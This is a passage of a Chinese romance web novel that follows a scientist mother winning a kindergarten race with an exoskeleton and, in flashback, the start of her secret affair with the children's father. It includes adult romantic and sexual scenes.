路上橙橙特别兴奋,说起学校里讨厌的坏朋友,那小男孩说他没有妈妈,橙橙现在想来都生气,一定要方楷莹记得下车时牵他的手进校园。 方楷莹笑着应,又转头问旁边的甄世明:“真的有小孩子会这样说吗?” “有。”甄世明说:“为这事儿橙橙把人脸抠破了,家长还找过我。” “然后呢?”方楷莹问。 甄世明此时不语,当时弄清事情原委之后第二天就找到学校去,在校长办公室大发雷霆,要求开除该名学生,不然就要带着橙橙和巨额赞助一起转学。之后经过学校董事会调解,对方家长带着孩子三次登门道歉,这事儿才算了。 当然,这些事情方楷莹没有必要知道。 甄世明沉默一路,车刚停好,旁边车位也驶入一辆,车上的小男孩降下车窗喊橙橙的名字。 “甄橙!甄橙!你还是只带爸爸来吗?你的科学家妈妈还没有回来吗?” 橙橙气呼呼地在车里瞪他,胸腔一鼓一鼓,撸起袖子就要冲下车去打架,“我今天还要抓破他的脸!” 他打不开车门,方楷莹却在副驾驶缓缓降下车窗,一张戴黑墨镜的脸孔扭过去,严肃地看着小男孩。 “我就是甄橙的妈妈。” “你有什么问题?” 强者气息扑面而来,小男孩见她脸上有像老师那般的肃杀威严,不由自主缩了缩脑袋,默默把车窗升上去躲避。 有底气的小朋友怎么走路? 像甄橙那样走路。 橙橙跳下车,打开前排车门,主动向方楷莹伸出手来牵,然后昂首挺胸、大摇大摆地从曾经嘲笑他没有妈妈的小朋友眼前走过。 甄世明拉着芯芯紧跟在后。 方楷莹出现在操场之后,才发现这红色亲子装的队伍非常扎眼,家长们的目光都聚集过来,三三两两低声讨论。 “她就是甄橙甄芯的妈妈?” “科学家吗?我还记得曾经有个老师让甄橙不要撒谎,被甄橙爸爸投诉之后开除了,人们当时还为老师抱不平呢。” “这两个孩子长得和她一个模样,甄芯爸爸原来喜欢这种类型吗?” “太可惜了!那些惦记橙橙爸爸的家长们今天可要心碎了。” 方楷莹对这些闲言碎语充耳不闻,带着孩子在空地热身,她一旦执着于做一件事情,无论在什么场合下都能做到心无旁骛。而甄世明则融入家长群体里进行必要的社交和暗戳戳的炫耀。 “嗯,是的。她是孩子的妈妈。” “对,科学家。最年轻的教授。” “你说笑了,甄橙甄芯的聪明和教育模式没关系,都是先天遗传,他们的妈妈智商直逼爱因斯坦,对,我们家有天才基因。” 方楷莹热身过后,远远就听到甄世明发出从容爽朗的老钱笑声,心里有点儿没来由的气恼,明明刚才离开时说去敷衍一下,现在看来他是在孩子妈堆里开屏。 方楷莹盘着胳膊和一群被冷落的爸爸咬牙切齿。 甄世明社交回来之后,方楷莹就没给他好脸色,一扭身就拽着橙橙走远,把芯芯留给他,芯芯和他对视摇头,表示自己也不知道妈妈怎么了。 两人三足比赛开始之前,方楷莹从包里掏出一套类似攀岩护具的设备绑在自己和橙橙腿上,甄世明就站在她身边,问:“这什么东西?” “你别管!我和橙橙赢定了!”她嫌弃道。 起跑哨声响起,在别的家长和孩子还在互相适应步伐时,方楷莹已经凭借外骨骼机器人的助力,和橙橙窜出去几十米,甄世明和芯芯也望尘莫及,大部分家长和孩子都看得眼睛溜圆。 结果可想而知。 方楷莹和橙橙打破了幼儿园的记录。 橙橙先撞了线,激动得小脸通红,双手捧着终点线缠住方楷莹的腰,脚底安了弹簧似的,引吭喧叫:“我们赢了!妈妈!我们赢了!妈妈!” 方楷莹听着孩子叫她“妈妈”,心里的成就感比打破纪录更甚,蹲下身紧紧把橙橙搂在怀里,灿烂的笑意在她淡淡的眉眼之中,“你愿意叫我妈妈了吗?我和你想象中的妈妈一样了吗?” 孩子重重点头,“我的妈妈是科学家,是世界上最厉害的人!” 母子两正激动着,裁判老师却走过来大煞风景,宣布他们用了科技助力,所以成绩无效。 方楷莹平时不爱吵架的人,此刻也脸颊通红上前理论,她翻出比赛手册,说上面并没有说不能使用外用设备,追着裁判老师一个字一个字念,裁判为难,用求助的眼神看着甄世明。 甄世明平时挺公正的一个家长,好打抱不平,现在却两边不帮,饶有兴致看方楷莹为了儿子的奖牌争取。 幼儿园的活动本来就是闹着玩儿,他更愿意看到方楷莹真的把自己当做橙橙的妈妈,甚至觉得她拿比赛手册抠字眼拼命要说服对方的样子,有点儿可爱。 “怎么就能是无效的成绩呢?” 甄世明在方楷莹跟人犯倔的时候走过去,合上她手里的规则手册,说:“你的成绩取消了,第二名是不是就成第一了?” “第二名是谁啊?!”方楷莹叉着腰。 低头一看,芯芯的小手指向甄世明,俩人腿还绑着呢。 方楷莹稍有犹豫,又觉得一定要让橙橙拿到冠军,不然他该以为方楷莹看重弟弟,于是她又翻开规则手册要去追早已跑远的裁判。 甄橙忽然拽她的衣摆,小脸红扑扑,在阳光下能看到细短的绒毛,他很认真地对方楷莹说:“奖牌在咱们家就行。” “那不行,奖牌一定得是橙橙的。”方楷莹意如磐石。 “妈妈,这个比赛是我和芯芯第一次同时参加,”孩子低下头,睫毛遮住眼底的情绪,小小的委屈从嘴里跑出来,“因为以前我们只有一个家长,芯芯都把爸爸让给我参加比赛。所以,他今年得奖我也开心!” 弟弟让着哥哥,哥哥让着弟弟。 这才是甄世明教出来的孩子- 晚上回家方楷莹把好几块奖牌收拾好,仔仔细细看了一遍,又放进甄世明专门打造的奖牌展示柜。 孩子们都累坏了,由甄世明带着洗澡睡觉。 而方楷莹经历了一整天的运动和情绪跌宕,窝在沙发懒得动弹,虽然身体很累,但是心情不错。 所以当甄世明哄好孩子入睡,拿着一瓶红酒下楼,她也坐起身,去厨房为自己拿了一红酒杯,偷感十足地从茶几旁推过去,那意思是让甄世明也给她倒上。 “没打算给你喝。”甄世明这样说,却也给她倒了一杯底。 她不敢喝得太急,小口小口品味,甄世明的私藏红酒和她喝过别的不一样,柔顺不甜腻,层次丰富余味悠长。 甄世明屈膝坐在羊毛地毯上,手懒懒搭在膝盖,身边放着方楷莹的专业书,装点屋子的氛围灯照在他身上,柔和灯光把身穿睡衣的他照成宜室宜家的模样。 他抬头望向在沙发上盘腿坐的方楷莹,问:“今天对你来说是值得庆祝的一天么?” “当然是!虽然橙橙没能拿三人两足的冠军奖牌,但是他叫我‘妈妈’了,我原本以为这会很难。” “那是因为他对你本来就有感情,”甄世明说:“真正有感情的人永远做不到狠心。” 方楷莹顿了顿,笑容消失不见:“你是在说我狠心吗?” “不,我是在说甄橙和甄芯。”甄世明哂笑,她总是会错意,“反过来说,如果你真的狠心,大概会因为太恨我而不接纳孩子。” 可她回来了,并且一直在和孩子亲近,她对孩子狠不下心,唯独能对他狠心。 方楷莹沉默不语。 甄世明也不想再提以前,他愿意在这个夜晚聊点开心的事,便问她:“今天你带到赛场的东西是什么?” “那是外骨骼机器人。”她说起来有点儿兴奋,脸红扑扑的,“我最近在忙着做国家自然科学基金的申请书,没有时间搞机械发明。” “外骨骼机器人是我从隔壁研究所借的,是通过机械结构、驱动系统,人体运动系统来对肢体动作进行外部增强,应用场景大多是帮助老年人省力行走,帮助瘫痪人群重新站起来。我今天带去的是新一代升级的试验品。” “上次带橙橙和芯芯参观研究院的时候,我对这个东西就很感兴趣,一直想试试,这次正好借出来用用。我想让橙橙拿冠军,但我自己身体条件有限” 方楷莹出去借东西?甄世明笑笑,想象不出来那是什么场景,一定让人尴尬得想跳楼,但她还是为了孩子硬着头皮做了。 甄世明边喝酒边想象,在方楷莹给他系统阐述原理时突然乐出声来。 “你乐什么?”方楷莹正说得高兴,发现甄世明好像在嘲笑她。 甄世明摆摆手,乐着说:“你当时大概没看到幼儿园家长们的表情,他们可能以为你是什么科学怪人,尤其是甄橙班里那个坏小子,他爸爸眼睛都看圆了,回头跟他说‘以后别惹甄橙’,他可能觉得你会把他儿子捉去做实验。” 方楷莹没品出哪里好笑,只是听到甄世明的笑声就想起他在女家长面前开屏,立刻变了脸,咬牙切齿道:“科学怪人也比你强,起码我是去做正事的,不像有些人,扎进女人堆里桀桀怪笑。” 沉厚稳重的笑声立止,甄世明阴恻恻地看着她,舌尖戳戳唇壁,“谁桀桀怪笑?” “你!”方楷莹盘着手臂,身子往前倾,愤愤道:“我带儿子在一边热身,你在那、你像个老孔雀,”她看了一眼身上的红色冲锋衣,想起当时甄世明也这么穿,又补了一句:“还是红毛的!火烈鸟!” “我操。”甄世明低声骂了句,想想觉得她凭什么这么说,明明当时他在人群里都是说方楷莹好,他和那群妇女的话题也始终围绕着方楷莹展开,现在怎么就成了火烈鸟呢? “不儿我说,你是不是吃醋了?” 方楷莹愣了愣,提高声音:“谁吃醋了?!我我我是因为看不惯你到处招蜂引蝶勾引别人,幼儿园是橙橙和芯芯成长的地方,你你你勾搭人家单身妈妈,那对孩子不好~” 甄世明眼睛一眯,“你听说了?” “我听说什么?”她眼睛往一边飘。 “听说橙橙班里有女家长喜欢我,经常给我发微信问候橙橙和芯芯,话说得那叫一个委婉,情商那叫一个高级,我想删微信都没办法,特别苦恼。”甄世明见方楷莹恼了,挑眉凑近,脸上坏笑,眼神迷醉,一字一句说道:“虽然你眼瞎看不出来,但我确实是抢、手、货。” 方楷莹恨得咬牙,骂他:“不要脸。” “骂谁?” “骂你!” 甄世明目光在她脸上流转,威胁道:“再骂一句。” “不、要、脸!” 她学着甄世明的腔调挑衅。 一个白眼还没翻完,就被人掐住脸颊,用唇堵住了嘴。 第34章 方楷莹喝了酒, 还没到醉的地步,本可以推开,但他的唇贴上来的那一刻, 却鬼使神差迎了上去。 两人陷进沙发缠吻, 男人的手禁锢她的腰臀,宽阔的肩膀遮住光源 。她极致地仰头, 而他折颈俯首。 舌尖尝到酒香, 分不清在谁口中,方楷莹比醉时更醉,眼前逐渐湿润, 难以抵抗生理上的渴望, 光是嗅到他身上的味道, 就有无数旖旎的期盼,身体里每一个细胞都在喧嚷着想要。 她得靠闭气来抵挡这种沦肌浃髓的爱欲, 直到人要窒息,脑中空白, 欲意却赶走理智, 强占身心。 “吃醋不敢承认?嗯?”甄世明咬她唇瓣,气音紧贴着唇吓唬她, “再骂一句试试。” 方楷莹抓紧他宽松的衣摆, 隔着衣衫也能感受到男人身体散发的热气。 “不要” 她说一字, 就被甄世明亲一下嘴唇,终是没能骂完, 却也难逃他再次贴唇过来, 恶劣问道:“不要什么?” 方楷莹不说了,紧闭薄唇,甄世明看着她的样子轻声地笑, 抓起手往下,额头抵着额头,一双深情眼凝望,仿佛要拉她共同沉沦,轻声低问:“要么?阿莹。” 方楷莹却不敢再继续下去,那座记忆火山像被封存厚雪之下,察觉到有松动喷发的痕迹,便让人警铃大作。 愣了几秒钟,她一脚蹬开甄世明,逃也似的跑上楼,把卧室门关住反锁。 脸烧得厉害,人抵着门背。 在情感无法控制的时候选择逃避,是方楷莹一贯对待感情的方式。很多年前,她就在初次性.爱的清晨一声不吭地离开。 当时的甄世明会发疯、会逼问,现在的甄世明不会,他一个人在楼下醒酒,不会上楼,不会叩响她的房门。 鸳梦重温意味着再蹈覆辙。 他们都懂- 初次肌肤之亲的一夜后,年轻的方楷莹后悔了很久。 心里的想法有点儿复杂,既希望能再见到甄世明,又害怕相见的场面。她不知道哪种想法更强烈,脑海里的天平偶尔倒向一边,偶尔倒向另一边,甚至她分不清是后悔做了还是后悔跑了。 这让她吃不下饭,睡不着觉。 如此度过一周,她浑浑噩噩,有了找人倾诉的想法,于是找去心理医生那,赵医生听完愕然很久,知道自己给了错误的建议,急功冒进的研究想法简直是害了这个女孩。 “你不能再和他见面。”赵医生说:“我们要暂停这个实验,而且你要知道,这不是爱情。心理学上说爱情是性、美感、依附三种要素的综合体,需要同时满足才能基本证明爱情,你们之间只有性,单一要素不是爱情,你千万不能误解。” “爱情三角理论:亲密、激情、承诺,你说他这一周没有联系你,就是不想承诺,你应该及时止损。楷莹,我知道你对感情陌生,认准一个想法就不会轻易改变,但不要陷入误区,不要误把‘激情’当爱情,也不要为了追求丰富的情绪体验而再接触这个人,答应我好吗?” 赵医生讲得口干舌燥,而方楷莹一直看着窗外走神,直到赵医生摇晃她的手臂才回过神,呆滞地点点头。 方楷莹不爱听赵医生讲话,走出医院之后给蓝梦打电话,她在感情方面向来有经验。 电话拨通方楷莹又不知道该如何问起,支吾一会儿,问:“如果…男人和女人一次性.交之后就断了联系的话…” 蓝梦在电话那头转眼珠,尖声问道:“你跟谁睡了?!” 吓得方楷莹迅速挂断了电话。 但蓝梦不屈不挠,方楷莹的电话响了又响,鼓起勇气再接起,还没出声,蓝梦的问题就狂轰乱炸。 “是不是最近认识的那个学长?你们认识才多久啊?!他就骗你上床?!你是不是真傻?!是不是自愿的?!要不我现在报警?!” “不是…”方楷莹刚回答了第一个问题,蓝梦连珠炮似的问题已经问到最后一句。 “不是自愿的?!我必须得报警了!” 方楷莹感觉电话那头的蓝梦已经叉腰站起来了,连忙否认:“不是不是,不是你想的那样。” “那是怎样???” 她自己嘴笨说不好,坐在医院的花池边揪了根草,垂丧脑袋叹气,“算了,我不跟你说了。” 再次挂断电话,蓝梦发短信过来。 【莹莹,只睡一次那叫一夜情!他渣男一个!以后再联系你就是还想睡你!不管他说什么,你可千万别信,男人的嘴骗人的鬼!】 蓝梦的解释也并没让方楷莹好受一点,她把手机装进包里,又从包里掏出避孕药的空盒,扔进垃圾桶里。 又过一周,方楷莹内心不安地接受了“一夜情”的说法,她发现一旦接受这个说法,倒有短暂地轻松感,像是把破罐子举起来挥臂摔碎,人有种豁出去了的痛快感。 于是又开始好好吃饭,按时睡觉。 周五学长说感觉她最近状态不对,做实验总走神,想和她聊聊顺路送她回家,她也答应了。 两人一起走去停车场,她坐进副驾驶,车子迟迟不启动。 “怎么了”方楷莹问。 学长手搭着方向盘,眼睛看着后视镜,按了一下车喇叭,“后面有车,正挡着我们。” 方楷莹“哦”了一声,就低头查看微信群里的消息。 “这孙子怎么没有要走的意思……” 副驾驶的车门被突然拉开,甄世明的手搭在车门框上,脸色差极了,眼里的怒意仿佛能把她火化。 她没反应过来就被强扯下了车,尖叫一声,一路被拽到跑车前,甄世明使力拉开副驾驶车门,把她填塞进车里。 学长追在他们身后,问:“你谁啊?!” 甄世明冲方楷莹扬了扬下巴,说:“我也正想问问呢。方楷莹,我是谁啊?” 见她不说话,甄世明把车门一摔,混不吝般对学长说:“我先问清楚,赶明儿告诉你。现在你问我是谁的话,你刚才走出来那栋楼叫世明楼,回去看看门口捐赠人的牌子,啊。” 他拍了拍学长的肩膀,上车把油门一轰,只留下车尾气。 方楷莹一路都不敢吱声,看他后槽牙咬得咯咯作响。 沉默良久,甄世明才恹恹开口,一张嘴就嘲讽:“几年不见,你玩儿挺花的。” 而方楷莹满脑子都是蓝梦那句【再联系你是还想睡你】。 她默默无语,内心挣扎,眼见车子开的方向是甄世明家,她低声说:“我今天,得回家。” “回什么家?!回谁的家?!”甄世明疯狗似的吼她,“你和那男的有家了?!” 方楷莹眉头紧蹙,不知他在说什么,踌躇着答:“我妈让我每周五都回家。” 甄世明虽然咬牙切齿,却还是调转车头,只是车速忽然降下,开得很慢。 “那天晚上——” “别提那晚。”她红着脸打断。 “我说哪晚了吗?” “不就一晚。”她的手指紧紧缠着。 “哈!”甄世明忽然气乐了,又抬高声量,要吃人似的,“就一晚,不就一晚?!你还知道咱俩有一晚是吧?!那你跑了是什么意思?消失半个月又是什么意思?!” 方楷莹懵懵地抬起头,“我是跑了,可你也没有再找过我,咱俩不是…”一夜情吗? “我凭什么找你?!在我楼下苦巴巴等着的人是你,第二天跑了的也是你,我还得追着找你吗?真他妈可笑!方楷莹,你是存心报复我,还是对我表现不满意?” 方楷莹倒没觉得可笑,只觉得他脸色挺可怕的。 根本不给她开口说话的机会,甄世明倒自问自答:“存心报复我你倒不用这种方式,那你就是对我不满意。” 他舔了舔唇面上的伤痕,怎么都想不通,“哪里不满意?!长度?!直径?!深度?!技术?!” 甄世明这半月几乎没干别的,每天都在复盘,想不通方楷莹为什么匆匆而来又匆匆而去。甚至去过一趟男科医院,医生都说他天赋异禀可造之材,怎么就把人睡跑了呢? 最后气不过,非得问问当事人。 方楷莹被他说得脸红,掩面低头,小声说:“咱们两那是一夜情。” 甄世明如受重击,迟迟没说出话来,半天之后,他的狂吼声像火药桶炸开,“谁他妈跟你一夜情?!” 吓得方楷莹一哆嗦。 甄世明这个火药桶炸得突然,余波扩散整个车厢,方楷莹感觉耳鸣,“一夜情!你现在生活过得还挺糜烂!我对你真是刮目相看了呢,一夜情都不用戴套是吗?!说话!!” 方楷莹答得委屈,“我吃过药了。” “什么药?!” “避孕的,还有抹的药。” 甄世明皱了皱眉,不说话了。 世界终于安静了。 他也不知道为什么会这样,那天早晨明明天气很好,他起床就发现方楷莹不见了,找了家里每个房间,衣柜都打开看过,这人仿佛没来过似的。 他都有点儿怀疑自己喝多了做梦,直到看见沙发那一片似水似血的印记,才确信一切真实。 想过找她,又想让她来找自己,本来就是她主动来的,没有理由人家一勾手指自己就舔上去,又不是狗。 等啊等,半个月就过去了。 现在得到这样的回答,他有点儿说不出话来,一直沉默到方楷莹家楼下,他停车,转头看着方楷莹,冷静下来说:“我不是想和你一夜情,你能明白吗?” 方楷莹点点头,“明白。” 他是还想睡她。 甄世明见她一副受了惊吓的样子,觉得这不是一个很好的聊天氛围,伸臂解开方楷莹的安全带,说:“你先回去吧。” 方楷莹不语,默默下车,走到楼上之后,天空开始下雨。 后来方楷莹回想起来,觉得那天天气很怪异,京市从来没下过这样一场被雪花夹着的冬雨。 雨水下湿了地皮,打在窗户上朦朦胧胧,雪片漫天飞舞,如白色飞花落在窗框。 她站在四楼窗口,双手贴着冰凉的窗户,雨水雪花好像都落在手心,甄世明的车没走,明晃晃的车灯照着交错的雪雨。 这样的天气,她想和甄世明待在一起,哪怕就像蓝梦说的那样。 念头一动,就再也无法收回。 方楷莹从床底下翻出甄世明的旧皮衣,那件皮衣被她护理得很好,每年都用擦脸的乳液擦拭一遍,有时会偷偷盖在身上睡觉。 她把皮衣装进书包里,下了楼。 甄世明在车里坐着,和方楷莹看的是同一场浩荡雪雨,他把车窗降下,顺手点着一根烟。 他不常抽烟,有烦心事儿才抽,目前最让他烦心的就是楼上那盏亮起又熄灭的灯。 手里的烟快要燃尽,他打算调头回去,车灯前出现一道伶仃身影,雪花落在发顶,肩膀被雨淋湿,她背着书包踮起脚尖,一路小跑而来。 拉开车门,冬夜的寒气与她一同进入,冷冽的香味和燃烧的烟草味骤然绞缠。 她把书包紧抱在怀里,不敢看他,只盯着漫天的雪雨,轻声地问:“一会儿能不能温柔一点?” 第35章 “一会儿能不能温柔一点?” 她的手偷偷放进书包侧兜, 那里面有准备好的涂抹药膏。 甄世明轻觑一眼,“你什么意思?” 方楷莹用力咬了咬唇,“你不是还想和我性.交吗?” 甄世明差点儿被最后那口烟呛死, 趴在方向盘咳得脸都红了。 姑且先不说他有没有明示暗示这种意思, 方楷莹的用词也让他忍不了,咬牙从齿缝里挤出一句:“那叫做.爱。” “不一样吗?” “能一样吗?” 方楷莹用那双澄澈的眼睛看他, 被甄世明狠瞪回去, 她收回眼光,又看着前面,手指紧紧抓住那管药膏, 悻悻地说:“你说是什么就是什么吧, 我只是想你能轻点…我会疼。” 甄世明目光沉沉, 想不通她脑子里都想什么,又拿她没办法。 “周五不用回家了?” “我妈妈还没回来, ”她看向窗外,倒成了那个急于催促的人, “快把车开走吧, 她回来看见你……” 她没往下说,也不敢想被妈妈看到她和甄世明在一起会怎么样。 甄世明也不追问, 转方向盘调头。 方楷莹在路上给妈妈发短信, 谎称学校晚上有活动, 回不了家,然后把手机静音。 后来她想, 那一天应该是真正叛逆期的开始。 一路无言, 她跟在甄世明身后上楼,再看见客厅的沙发都会脸红,心里一阵狂跳, 那是一种在害怕中隐隐渴望的情绪。 方楷莹曾经从来没想过自己会有如此复杂的情绪,仿佛只要和甄世明待在一起,情绪就总会跌宕起伏。 这于她而言是一件很好的事情,她的感情由此丰富,内心不再空空如也,而是被一个人满满占据着,每当这样想时,她都觉得自己是个有血有肉有感情的“正常人”。 她站在门口紧张,走路轻得像猫,坐在沙发怀抱书包,一动不动也能出汗。 甄世明坐在她的身侧,灯光暗着看不清他的脸,他在许久的沉默后平静地问:“你觉得我带你回家来是为了干什么?” 方楷莹的脸更红,把书包轻轻放在一边,脱掉被淋湿的羽绒服,拉链哗啦响声在安静的房间里清晰无比。 在她准备脱下里面的衬衫时,甄世明沉声说道:“先别脱。” 方楷莹的手有点儿颤抖,放在衬衫衣扣不上不下。 甄世明的声音低沉,听起来有些沮丧挫败:“我说没打算跟你一夜情,这意思你到底明白吗?” 她又点点头,“明白。” “你明白个屁!”他太阳穴突突直跳,被她的理解能力彻底打败,死都想不明白她为何这样。 “你真明白我的意思吗?那你跟我说的是什么屁话?!方楷莹,我早就想问你了,在你心里我到底是个什么样的人?你觉得我来找你就是要发泄性.欲吗?!” 甄世明胸腔鼓动,怒火中烧,恨方楷莹像个笨蛋傻瓜,总是无意之间就中伤他,“我以为我在你心里顶多是一混蛋,没想到是纯畜生,还还性.交,你怎么不说配.种呢?我告诉你性.交和做.爱有什么不一样!性.交是跟谁都能交,做.爱是有爱才能做!” 方楷莹听得脸发烫,莫名觉得羞耻,想去捂他的嘴,却被他别头躲开,不许碰他。 “你别这样说。” “我得怎么说?我委婉说你能懂吗?!”他生气时眸色更深,阴沉沉的脸色让人害怕。 “非得让我说我喜欢你,求求你也喜欢我?非得让我说你是我见过最有意思的人,因为你太特别了所以我好几年都没忘了你,一直心里惦记你?!” 他厉声吼她,把表白的话说得像吵架。 “你来找我我嘴上让你走心里想让你留下,我亲你是因为我觉得你太可爱忍不住,我跟你做.爱也不是一时冲动,你不知道我在心里想过多少次,我自己都数不清!所以你别跟我说什么狗屁一夜情!你想清楚,要么和我在一起,要么你就走,永远别让我再看见你!” 方楷莹默默反应了好一会儿,然后伸手去拿书包,甄世明一把捏住她的胳膊,“你还真走?” “不,不是,”她挣了挣手臂,才发现他攥得紧,“我不是要走。” 她拉开书包拉链,小心地取出皮衣,抱在怀里,手指抚摸着细腻柔软的皮质,声音低缓地说:“你对我来说也很特别,这件衣服我一直留着,这几年…我心里也总是惦记你,但我以为你特别恨我” “我来找你是不想让你恨我,因为我…”她抿紧唇,决心抛弃心理医生的权威建议,决心由着自己那颗噗通跳动的心。 “喜欢你。” 随着尾音落下,房间倏然寂静。 龙鱼游来游去,在淡蓝.灯光下轻摆血红色的尾鳍,一池春水暗流涌动。 甄世明拿过那件旧皮衣,一接到手里,就嗅到衣服传出的淡淡香味,和方楷莹的脸蛋儿是一种味道。 他把方楷莹揽进怀里,让她的耳朵贴在自己胸口,用胸腔里那颗狂热的心脏回应这来之不易的喜欢。 吻落在湿漉漉的发间。 “我这么混蛋,你也喜欢我吗?” “嗯。” 她感觉甄世明的心跳更加有力。 “有多喜欢?”他问。 方楷莹想了会儿,说:“比起数字和公式,定律和规则,现在更喜欢你。” 他缓缓的笑声带来胸腔的微震,脸庞摩擦发顶,极轻的沙沙声仿佛春风过林梢,方楷莹觉得心里有棵树发了芽似的。 甄世明又抱了她一小会儿,脸颊蹭了蹭她的头发,雪水融化让她的头发潮凉,衣衫也浸湿。 “去洗个澡。”他说。 方楷莹抬起脸,耷着眼,怯懦道:“你…不是说不想性…做…” 不知道该怎么表达,他把人绕晕了。 “嗯,不做。”虽然方楷莹没完全说出来,但他已经领会,“我怕你着凉。” “哦。” 她在浴室洗过热水澡,吹干头发,甄世明把自己的T恤短裤找出来给她,热水澡和衣服上的味道都让她有种暖融融的感觉。 他夏天穿的五分睡裤被方楷莹穿成七分裤,两条细腿在裤筒里晃晃荡荡,一副小骨架被包进长t恤里,吹干的头发梢窝在松松垮垮的圆领口处,漂亮的锁骨线条在黑发中半隐半露。 甄世明躺在床上,挪开眼前的手机,眼神跟着她行走的动线,突然觉得刚才承诺“不做”的话说早了。 她忐忐忑忑坐在床边,蹬开拖鞋,缩着肩膀侧倒在床上,缓缓翻身,甄世明一把接住她凑过来。 她的身体靠在他怀里,脑袋抵住胸口,手却不知道该往哪儿放,只是感觉这样拥抱比那一晚更平静,更好。 甄世明看不着水蜜桃色的脸颊,只闻到方楷莹头发散发的香气,她用了他的洗发水,仿佛身上有他的味道,那感觉挺奇妙。 他把手插进发间捻了捻,确认头发吹干了,又去牵她的手,手臂压在手臂之上,滚烫和冰凉相撞。 “你身上怎么总是这么凉?” 方楷莹被他的呼吸吹得痒,蜷缩起身,“是你身上热,像我们家的暖气片。” 甄世明忽然笑了,这么有意思的说法只能从方楷莹嘴里说出来,不甚温柔地揉搓她的脸,“萤火虫,你对别人说话也这么好玩儿吗?” 方楷莹摇摇头,头发在他胸口蹭乱,“没人觉得我好玩儿,别人都觉得我很…奇怪。” “是吗?” 那真是,太好了。 甄世明这样想,但他没有这样说,他说:“那我喜欢你是不是更奇怪?有的时候我也觉得奇怪,明明一见面你就要把我气得死过去,但还是想见你,明明想恨你来着,但我在国外看到风景好的地方,还是会想这样的风景如果方楷莹也看到,会说什么话,做出什么表情。” “所以…你这几年去过很多地方吗?”她也想过这三年甄世明的生活是什么样,现在才有机会问出口。 “也不是。”他轻描淡写地说了她未曾参与过得时光,仿佛那些日子不值一提。 “我被送出国去,在澳大利亚关了一年禁闭,后来又被家里逼着读MBA。我不爱读书,空余时间去了几个国家,全当散心。” “关禁闭吗?” “嗯,家法。” 他看着方楷莹惊惶的表情,又补充道:“不是想象中那么可怕,就是关在别墅里,不许和外界联系,当时情况比较特殊,家里人怕有人利用我的事大做文章。” 当时他当然是不服的,但现在想来家人的考量也间接保护了她,如果她被有心之人利用,曝光为轰动的强.奸案受害者,他才不知道该怎么办才好。 方楷莹的目光凝在他唇面上的伤痕,抱住他的头,凑脸亲上去,伸出舌尖轻轻舔舐,虽然不可能抹去一切伤痕,但她此刻相信曾经搞砸的事未来会重新弥合。 只要她在他的身边。 甄世明回应了这个吻,用温柔缠绵的方式,她像一只为他舔舐伤口的小兽,他也不忍粗鲁莽撞。但他毕竟年轻,温柔地亲密行为也会让他坚硬,直到方楷莹也不能忽视他身体上的变化。 “你” 甄世明含住她的唇,鼻尖轻轻蹭脸颊,喑哑着嗓问:“上次把你弄疼了?” 方楷莹脸红着点头。 “破了?” “…嗯。” 甄世明试探着问:“我看看?” 方楷莹并了并腿,“已经好了。” 但他的手已经摸到短裤的边缘下褪,他的裤子腰身比方楷莹宽,很轻松就褪了一半,俯身下去,方楷莹捂住眼睛。 他的动作温和柔软,但即便是这样,被他看着的方楷莹也无法控制住本能的反应,又觉得他不是真的想“检查伤口”,蹬了蹬腿踢他,却被他握住膝盖分开。 像刚才舔舐他的唇那样,他也俯身向下,舔舐被他弄破的伤口。 方楷莹不停往上挪身,却被他紧紧箍住腰腿,她眼睛也更加湿润,甚至感觉有眼泪存在眼角。 “你别这样。” “我想亲你。” “这也能算接吻吗?”她害羞得捂脸,感觉甄世明一说话,热热的呼吸就拂过唇心。 “算,怎么不算?”甄世明坏心地说:“情侣就该这样亲来亲去。” 这太难为情了。方楷莹绷直身体躺着,被他亲得受不住,又挣扎着问:“你不是说…不做…” “嗯,我说不做,没说不亲。” 甄世明再三保证不做,但又再三亲下去,反复看她羞红的脸,拱起的腰背,身体的反应,又净问些羞人的话,她抿紧唇,打算一个都不回答。 直到第二天清晨,趁他还睡着,方楷莹偷偷溜去客厅,拿出书包里的红笔,又躺进他怀里,枕着他的手臂,在那筋脉分明的手腕写下对昨晚最直白的感受。 【HAPPY】 第36章 方楷莹和甄世明开始了秘密的恋情。就算现在回想起来, 那也是她人生中最快乐的一段时光。 刚开始谈恋爱的时候,男人总是唯命是从,甄世明不例外, 每天随叫随到, 拉风的阿斯顿马丁停在停车场。 方楷莹说太惹眼且不安全,甄世明就搞来一辆不惹眼且安全的沃尔沃, 接她出去约会, 偶尔晚上留宿在家,周五她要回家就一定准时送回。 他喜欢一切亲密的举动,总黏着她牵手拥抱, 夏天时候更甚。 甄世明天生体温高, 抱住方楷莹的时候说她的身体像一块冰凉的玉, 但抱着抱着手就摸到温热处去,总是弄得她脸红心颤, 他总是说服她一起探索新花样,当她害羞到要推拒时, 就哄她说情侣都干这些事。 方楷莹刚开始不习惯, 觉得他好像有瘾似的,他却总说自己只是个正常男人, 后来她和汪先生交往后才知道, 不是每个男人都有那样的天资, 也不是每个男人都有那样的精力。 总体来说,如今她在性.爱方面的阈值提高和甄世明有分不开的关系。 大多数时候他们和普通情侣一样。 甄世明的生活潇洒随意, 没有生活负担的人会把精力都投入到“玩儿”这件事上, 以前自己玩儿时追求刺激,玩的是赛车跳伞潜水滑雪。 现在带着方楷莹玩儿就追求浪漫,夏天在科莫多岛的粉色沙滩散步, 看她晒红的皮肤和被小鹿追着跑的身影。冬天去莫斯科看雪,她裹着厚羽绒服脸冻得青白,一会儿抱怨他忘了给她拿围巾,一会儿又捏雪球打他,然后在漫雪纷飞的圣瓦西里教堂前与他接吻。 那一年是最好的时光,不论是对方楷莹来说还是对甄世明来说。 但就像方楷莹说的,喜欢的东西要投入精力。她喜欢甄世明,除了投入时间和精力,还需要编织一个又一个谎言。 她以交换生项目和外地参赛的谎言来交换和甄世明在一起的时间,逐渐练习到和妈妈说谎声音不抖的程度。 但甄世明对此不满,在她打电话时把人抱在怀里挑逗拨弄,让她的声音重新发抖,最后匆匆挂掉电话,他却把动作都停下,狠咬一下她说谎的嘴唇。 “我们是什么见不得人的关系吗?” “不是。”她怂怂地回答。 “那为什么出来旅行像偷情?” “我妈妈对你有误解。” 甄世明圈紧她的腰,勒得人喘不上气,“有误解就解开,你现在既不让我上门解释,自己也不解释是什么意思,你的谎言能维持多久,不怕以后被你妈撞到我们在一起?我不喜欢这样,我是你男朋友,不是强——” 方楷莹用冰凉的手捂住他的嘴,却无法直视那双质问的眼睛,这么复杂的关系她从未处理过,除了一直躲避,她不知道还能做什么。 “你别这样说,”她诚惶诚恐,“这一年我们不是很好吗?” 好是好,但也不是总好,起码在方楷莹说谎的时候,甄世明觉得不好。 